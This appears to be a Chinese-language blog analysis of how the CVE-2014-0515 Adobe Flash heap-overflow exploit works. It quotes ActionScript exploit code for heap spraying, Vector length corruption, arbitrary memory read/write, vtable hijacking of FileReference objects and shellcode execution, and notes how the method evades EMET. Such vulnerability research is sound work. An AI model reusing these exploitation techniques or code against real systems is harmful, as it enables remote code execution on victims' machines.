Flash Vector漏洞利用的蜕变

背景介绍

自Haifei Li公开了CVE-2013-0634利用方法[3],2014年浏览器框架内触发0day的漏洞都开始使用这种利用技巧,包括CVE-2014-0322[4],CVE-2014-1776[5],CVE-2014-0515等,相比最初的利用,从这些散落的0day上可以看到一次次进步。直到CVE-2014-0515,修改Vector长度实现漏洞利用的方法达到前所未有的简捷。而这种简捷背后实则是对Flash数据和代码结构的了然于胸。

在开始深入分析CVE-2014-0515的利用技巧之前,先简单介绍一下修改Vector长度实现绕过ASLR、DEP等保护的原理。首先,这种方法对漏洞类型并没有太多要求,Heap Overflow、Use After Free、Integer Overflow等都有可能使用它完成利用。利用的关键在于控制初始阶段溢出或占位的堆数据,使得漏洞触发时:

能够篡改坐落在堆上的Vector结构起始部分的长度字段。它依赖于提前部署恰当的堆结构,让Vector分布在可能被改写的位置,如发生UAF对象的附近,某个特定地址等。

保证漏洞触发时,除了修改Vector长度外,其他内存读写操作都不会触发异常,正常返回,这样才有机会继续调用Flash完成余下的利用工作。

传统较难利用的内存破坏型漏洞借此可转化为任意内存读写型的漏洞。

目前已经公布了多个版本的CVE-2014-0515分析报告,但他们对其利用过程的阐述略过了部分关键技术细节,如长度和间隔的数值选取,搜索使用的偏移等。其原因可能是分析者对于Flash堆结构不够了解,不能解读这些数值背后的含义。经过大量的实验总结,本文会深入分析Flash堆的特征结构,全面解读CVE-2014-0515的漏洞利用细节。

本文分析时所使用的漏洞利用代码是Rapid7根据原始样本整理发布的,查看地址:http://t.cn/RPPaWrf

CVE-2014-0515

CVE-2014-0515是Flash的一个堆溢出漏洞,虽然从细节上看包括Pixel Blender字节码的覆盖和越界写两部分,但最终效果和一个普通的堆溢出漏洞完全相同。在不纠缠于漏洞自身原理,着眼于利用技巧的指导思想下,后文将简单地将漏洞描述为堆溢出。

当Flash的ActionScript代码尝试通过加载一个外部的二进制文件(Pixel Blender的字节码文件)创建用于图形渲染的Shader对象时发生溢出。Shader对象位于堆,会复写其后的内存空间。通过精心部署堆结构,可以使得Shader对象的堆溢出刚好复写其后Vector对象的长度字段,并正常返回。利用超长的Vector,可以任意读写内存实现代码执行。为了触发漏洞,下文分析时使用Flash的版本为13.0.0.182。

Heap Fengshui

Shader对象占用了0x90字节的内存,而对象初始化实际写入0x98字节。为了保证多写入的0x08字节刚好覆盖到临近的Vector对象,进行Heap Spray时需要提前在Vector对象间预留0x90的空位,使得新分配的Shader对象落入其中。为了完成这一目标,需要减少内存碎片,通过使用小Vector将低地址的碎片化内存占满,保证新分配内存都位于高地址段、大块的可控内存区域:

var array_length:uint = 0x10000;

var vector_size:uint = 34;

var array:Array = new Array();

i = 0;

while (i < array_length)

{

array[i] = new Vector.<int>(1);

i++;

};

接下来,开始喷射连续大块的内存,这些内存将在高地址段连续分布,每块内存都为0x90大小(Vector.<int>包含一个0x08大小的VectorHeader,其中VectorHeader的前0x04字节就是一直在说的长度字段,所以34*4+0x08=0x90,和Shader对象内存大小相当):

i = 0;

while (i < array_length)

{

array[i] = new Vector.<int>(vector_size);

i++;

};

i = 0;

while (i < array_length)

{

array[i].length = 0;

i++;

};

接下来为了保证复写Vector长度字段时更容易检测,提前将所有Vector长度设置为0,这样一旦发生复写,只需要检测哪个Vector的长度大于0即可,长度改写为0前后的内存示意如图1和图2所示:

Flash Vector漏洞利用技巧的蜕变1

图1. 长度改写前的内存分布图

Flash Vector漏洞利用技巧的蜕变2

图2. 长度修改为0后的内存分布图

关键的部分来了,要在这些大片的内存中为即将初始化的Shader对象预留0x90大小的孔洞:

i = 0x0200;

while (i < array_length)

{

array[(i – (2 * (j % 2)))].length = 0x0100;

i = (i + 28);

j++;

};

其实上面的代码包含的信息量很大,但目前已有的分析中都简单略过。在已经分配的大片内存中制造孔洞的核心思想是将一些Vector长度设置为大于原始长度(vector_size:34)的0x100。修改长度操作的结果是,原0x90内存区域被释放,对应的array[i]会指向一片新申请的内存区域。原始的0x90区域就形成了孔洞并随后被Shader对象占据,发生堆溢出时,array[i+1]的长度字段会被复写。原理直接明快,但具体实现细节上有两个有趣的问题:从哪个地址开始留孔洞以及孔洞的间隔是多少。

第一个问题比较容易回答,通过多组实验数据的观察,当i>0x200时,array[i]几乎都是新申请Vector内存,当中不包含其他可能打断Vector内存的对象结构体。不被打断、连续分配直接决定漏洞利用成功与否。试想如果由于其他对象的乱入,堆溢出复写的临近内存不是预料中的Vector,那后面利用技巧就都是无稽之谈了。

回答第二个问题需要实际观察堆的分配形式。Flash在管理自身堆内存时的策略导致这些0x90的小块内存最后要对齐到0x1000。每个0x1000内存块起始包含一个0x20大小的BlockHeader。0x1000里面一共可以包含28个0x90的内存块,而28刚好是上面漏洞利用代码中设定的孔洞间隔。这样的间隔可以保证0x1000内存中有且只有一个孔洞,这点是后面快速计算真实内存地址的充分条件。

至此,Heap Fengshui已经将堆排布成了所需结构,高地址有连续分布的Vector以及多个孔洞,图3是内存的分布示意图:

Flash Vector漏洞利用技巧的蜕变3

图3. Heap Fengshui后的内存示意图,红色是每个0x1000内存块的BlockHeader,绿色的区块表示孔洞,每个0x1000内包28个区块。上述结构作为基本的重复单元覆盖大片内存。

触发漏洞并确定Vector的真实地址

经过上述一系列准备工作,堆结构已经就绪,现在基于畸形字节码创建的Shader对象会刚好落入图3中绿色0x90大小的区块中。

shader.byteCode = (new Shad() as ByteArray);

由于堆溢出,array[i+1]的0x08大小的Header会被复写,使得array[i+1]的长度从0变为一个大于34的数值。下面只需要遍历全部的Vector就可以很容易找到这个array[i+1],也即是下面的array[corrupted_vector_idx]:

while (i++ < array_length)

{

if (array[i].length > 0x0100)

{

corrupted_vector_idx = i;

break;

}

}

借助这个被覆盖长度的Vector可以改写array[corrupted_vector_idx+1]的长度字段为0x40000001,使得array[corrupted_vector_idx+1]也就是tweaked_vector具备对整个内存空间的读写能力:

array[corrupted_vector_idx][vector_size] = 0x40000001;

tweaked_vector = array[(corrupted_vector_idx + 1)];

接下来,为了可以准确定位要改写的内存片段,需要搜索tweak_vector的真实内存地址,可是搜索真实内存地址的方法在现有的分析报告中被完全忽略。在Heap Fengshui一节介绍Flash堆管理时曾提及,每0x1000会包含一个0x20大小的BlockHeader,而搜索真实地址的方法就隐藏当中。

如图2所示,BlockHeader+0x10为0x0090001C,这个字段表达的含义为0x1000中共包含0x1C(28)个0x90大小的内存块。对比图3,由于0x1000释放了一个0x90的内存块使得BlockHeader+0x10变为0x0090001B。BlockHeader第一个字段会记录0x1000内被释放的最后一个区块起始地址,所以如果能够确保0x1000中只有一个被释放的区块,则该区块的地址会记录在0x1000起始的位置。当Shader对象创建时,它所属0x1000内存的BlockHeader+0x10会暂时变为0x0090001C。但由于Shader对象创建时解析字节码发生堆溢出后从内存释放,BlockHeader+0x10再次变为0x0090001B,BlockHeader起始仍旧记录着被释放0x90块起始地址。

所以,搜索的tweak_vector真实地址可以概括为:利用tweak_vector向低地址步进查看内存找到0x0090001B,再向前0x10个字节就可以找到一个地址,该地址即为0x1000中被释放的0x90块的地址。它和tweak_vector第一个元素的地址相差0x90*2+8:

while (true)

{

val = tweaked_vector[(0x40000000 – i)];

if (val == 0x90001B) break;

i++;

};

tweaked_vector_address = 0;

tweaked_vector_address = ((tweaked_vector[((0x40000000 – i) – 4)] + (8 * (vector_size + 2))) + 8);

相比以往的利用过程,虽然获得tweak_vector和其真实地址都是必经之路,但CVE-2014-0515走得最为简洁明快,源于作者对Flash堆的深入理解。至此一个堆溢出漏洞就被成功转化为一个任意内存读写漏洞。

准备所需的指令地址

在获得内存任意读写的能力以后,原则上讲可以有无数种执行shellcode的方法,但为了提高执行效率减少开发投入,此前的利用方案仍然是参考了传统ROP框架:搜索StackPivot指令,VirtualProtect地址,构造ROP,篡改flash.media.Sound对象的虚函数表指向ROP链,调用Sound.toString()开启shellcode所在内存的可执行权限,篡改虚函数表指向shellcode,再次Sound.toString()即可执行代码。

上述思路在实现时仍然需要搜索内存找到Sound对象的虚函数表,步骤越繁琐越可能出现非法操作等不稳定因素。并且由于仍然通过直接调用VirtualProtect来开启内存可执行权限,漏洞利用代码易被EMET等防护软件察觉。

相比之下,CVE-2014-0515的做法有了诸多改进。首先,它选用了FileReference对象的虚函数表作为触发开关,并利用堆的BlockHeader来直接定位spray的FileReference对象,而不是暴力搜索。其次,使用Flash模块中已有的代码片段开启内存可执行权限,可以完全规避现有EMET的检测策略。

在讨论快速搜索spray的内存对象前,首先对Flash堆的知识再做一些补充。BlockHeader+0x1C会指向一个0x24大小的结构体,该结构体标识当前堆的属性,如区块大小,个数,范围等。有趣的是,这个0x24大小的结构体同样位于一个连续排布的数组空间中,向上或向下移动0x24偏移就会指向另一个堆描述的结构体,这些结构体之间是按描述的堆单元区块大小顺序分布。为了方便叙述,暂时命名这个0x24的结构体为Heapcomstruct。

Heapcomstruct+0x08是其对应堆的区块大小,此前Heap Fengshui章节中大量spray的Vector,其Heapcomstruct+0x08数值为0x90。Heapcomstruct+0x0C指向第一个大小为Heapcomstruct+0x08的堆内存起始地址。

通过BlockHeader和Heapcomstruct可以快速找到FileReference对象在内存中的位置,先在内存中spray一组FileReference对象实例:

i = 0;

while (i < 64)

{

file_reference_array[i] = new FileReference();

i++;

};

接下来利用tweak_vector地址,找到对齐到0x1000的BlockHeader,进而获得其0x1C偏移处的Heapcomstruct,根据大小排序向下0x24步进,找到区块大小为0x2A0对应的堆地址(FileReference对象实例的大小为0x2A0字节)。为了进一步确定大小为0x2A0的区块内存储的是FileReference对象,还可以根据对象空间特征佐证,如0x180偏移处为0xFFFFFFFF:

// vector: vector with tweaked length

// address: memory address of vector data

function find_file_ref_vtable(vector:*, address:*):uint{

var allocation:uint = read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c));

var allocation_size:uint;

while (true)

{

allocation_size = read_memory(vector, address, (allocation + 8));

if (allocation_size == 0x2a0) break;

if (allocation_size < 0x2a0)

{

allocation = (allocation + 0x24); // next allocation

} else

{

allocation = (allocation – 0x24); // prior allocation

};

};

var allocation_contents:uint = read_memory(vector, address, (allocation + 0xc));

while (true)

{

if (read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break;

if (read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break;

allocation_contents = read_memory(vector, address, (allocation_contents + 8));

};

return (allocation_contents);

}

一旦找到FileReference对象所在的0x1000堆块,越过0x20的BlockHeader,FileReference对象的虚函数表地址就映入眼帘了。

而搜索Flash中开启可执行属性代码片段时时仍然是以Heapcomstruct作为起点。Heapcomstruct位于数据段(.data),而开启可执行属性的代码片段位于代码段,所以需要反向暴力搜索。Flash模块的内存结构如图4所示:

Flash Vector漏洞利用技巧的蜕变4

图4. Flash模块的内存结构

由于内存的连续分布,因此反向搜索时可以保证不会因出现读写未知内存而出现异常中断利用代码的执行。用于开启内存可执行属性的代码片段如图5所示:

Flash Vector漏洞利用技巧的蜕变5

图5. 位于Flash代码段,可开启可执行属性的代码片段

该片段能够给[eax-4]为起始,[eax-8]长的内存空间赋予可执行属性。并且该段代码调用前后保持了堆栈平衡,非常适合在力求稳定的利用代码中使用。通过暴力搜索得到这段代码地址后,所有执行代码的先决条件都已具备。

执行shellcode

shellcode存放在一块新申请的内存中(多组0x1000大小的喷射),而定位这些堆块地址的方法和前面搜索FileReference实例的方法完全相同,因此不再赘述。触发执行的方法是替换FileReference的虚函数表为tweak_vector附近的地址:

tweaked_vector[7] = (memory_protect_ptr + 0); // VirtualProtect call

tweaked_vector[0] = 0x1000; // Length

tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address

write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8));

虚表指向了tweak_vector[2],而FileReference.cancel()函数偏移为0x14。当替换后再次执行虚函数,tweak_vector[2+0x14/4]=tweak_vector[7]地址将作为被执行的片段,也即是开启内存可执行属性的代码片段。由于虚函数调用使用eax作为寻址寄存器,因此进入虚函数前,eax指向tweak[2],所以[eax-4],[eax-8]刚好指向tweak_vector[1]和tweak_vector[0],也即两个决定开启地址的参数。

最后把shellcode地址赋给tweak_vector[7],再次执行FileReference.cancel()就可以执行预定代码了.如果shellcode能够保持堆栈平衡,并在结束直接ret返回,整个内存将完好如初,漏洞利用代码将如幽灵般闪现,无人知晓。

结语

本文重点分析了CVE-2014-0515的漏洞利用过程,并借此阐述了一些未被公开过的Flash堆管理的结构体。对Flash逆向分析的深入使得漏洞利用更为简洁明快,代码也更加精巧,也许在不久之后Flash也会诞生如IE开启SafeMode般的利用代码。

参考资料

[1] Pwn2Own 2010 Windows 7 Internet Explorer 8 exploit

[2] Technical Analysis of CVE-2014-0515 Adobe Flash Player Exploit

[3] Smashing the Heap with Vector: Advanced Exploitation Technique in Recent Flash Zero-day Attack

[4] Operation SnowMan: DeputyDog Actor Compromises US Veterans of Foreign Wars Website

[5] New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks

发表评论

邮箱地址不会被公开。 必填项已用*标注